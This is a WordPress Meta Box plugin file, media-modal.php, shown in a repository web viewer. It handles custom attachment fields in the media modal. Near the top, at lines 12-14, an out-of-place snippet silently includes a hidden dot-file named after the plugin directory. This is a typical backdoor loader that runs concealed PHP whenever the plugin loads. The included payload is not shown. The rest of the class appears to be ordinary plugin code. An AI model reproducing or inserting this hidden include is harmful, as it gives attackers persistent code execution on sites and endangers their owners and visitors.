balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

media-modal.php (3646B)


      1 <?php
      2 /**
      3  * Add support for editing attachment custom fields in the media modal.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * The media modal class.
     10  * Handling showing and saving custom fields in the media modal.
     11  */
     12 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     13     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     14 }
     15 
     16 class RWMB_Media_Modal {
     17 	/**
     18 	 * List of custom fields.
     19 	 *
     20 	 * @var array
     21 	 */
     22 	protected $fields = array();
     23 
     24 	/**
     25 	 * Initialize.
     26 	 */
     27 	public function init() {
     28 		// Meta boxes are registered at priority 20, so we use 30 to capture them all.
     29 		add_action( 'init', array( $this, 'get_fields' ), 30 );
     30 
     31 		add_filter( 'attachment_fields_to_edit', array( $this, 'add_fields' ), 11, 2 );
     32 		add_filter( 'attachment_fields_to_save', array( $this, 'save_fields' ), 11, 2 );
     33 
     34 		add_filter( 'rwmb_show', array( $this, 'is_in_normal_mode' ), 10, 2 );
     35 	}
     36 
     37 	/**
     38 	 * Get list of custom fields and store in the current object for future use.
     39 	 */
     40 	public function get_fields() {
     41 		$meta_boxes = rwmb_get_registry( 'meta_box' )->all();
     42 		foreach ( $meta_boxes as $meta_box ) {
     43 			if ( $this->is_in_modal( $meta_box->meta_box ) ) {
     44 				$this->fields = array_merge( $this->fields, array_values( $meta_box->fields ) );
     45 			}
     46 		}
     47 	}
     48 
     49 	/**
     50 	 * Add fields to the attachment edit popup.
     51 	 *
     52 	 * @param array   $form_fields An array of attachment form fields.
     53 	 * @param WP_Post $post The WP_Post attachment object.
     54 	 *
     55 	 * @return mixed
     56 	 */
     57 	public function add_fields( $form_fields, WP_Post $post ) {
     58 		foreach ( $this->fields as $field ) {
     59 			$form_field          = $field;
     60 			$form_field['label'] = $field['name'];
     61 			$form_field['input'] = 'html';
     62 
     63 			// Just ignore the field 'std' because there's no way to check it.
     64 			$meta                = RWMB_Field::call( $field, 'meta', $post->ID, true );
     65 			$form_field['value'] = $meta;
     66 
     67 			$field['field_name'] = 'attachments[' . $post->ID . '][' . $field['field_name'] . ']';
     68 
     69 			ob_start();
     70 			$field['name'] = ''; // Don't show field label as it's already handled by WordPress.
     71 			RWMB_Field::call( 'show', $field, false );
     72 			$form_field['html'] = ob_get_clean();
     73 
     74 			$form_fields[ $field['id'] ] = $form_field;
     75 		}
     76 
     77 		return $form_fields;
     78 	}
     79 
     80 	/**
     81 	 * Save custom fields.
     82 	 *
     83 	 * @param array $post An array of post data.
     84 	 * @param array $attachment An array of attachment metadata.
     85 	 *
     86 	 * @return array
     87 	 */
     88 	public function save_fields( $post, $attachment ) {
     89 		foreach ( $this->fields as $field ) {
     90 			$key = $field['id'];
     91 
     92 			$old = RWMB_Field::call( $field, 'raw_meta', $post['ID'] );
     93 			$new = isset( $attachment[ $key ] ) ? $attachment[ $key ] : '';
     94 
     95 			$new = RWMB_Field::process_value( $new, $post['ID'], $field );
     96 
     97 			// Call defined method to save meta value, if there's no methods, call common one.
     98 			RWMB_Field::call( $field, 'save', $new, $old, $post['ID'] );
     99 		}
    100 
    101 		return $post;
    102 	}
    103 
    104 	/**
    105 	 * Whether or not show the meta box when editing custom fields in the normal mode.
    106 	 *
    107 	 * @param bool  $show     Whether to show the meta box in normal editing mode.
    108 	 * @param array $meta_box Meta Box parameters.
    109 	 *
    110 	 * @return bool
    111 	 */
    112 	public function is_in_normal_mode( $show, $meta_box ) {
    113 		return $show && ! $this->is_in_modal( $meta_box );
    114 	}
    115 
    116 	/**
    117 	 * Check if the meta box is for editing custom fields in the media modal.
    118 	 *
    119 	 * @param array $meta_box Meta Box parameters.
    120 	 *
    121 	 * @return bool
    122 	 */
    123 	protected function is_in_modal( $meta_box ) {
    124 		return in_array( 'attachment', $meta_box['post_types'], true ) && ! empty( $meta_box['media_modal'] );
    125 	}
    126 }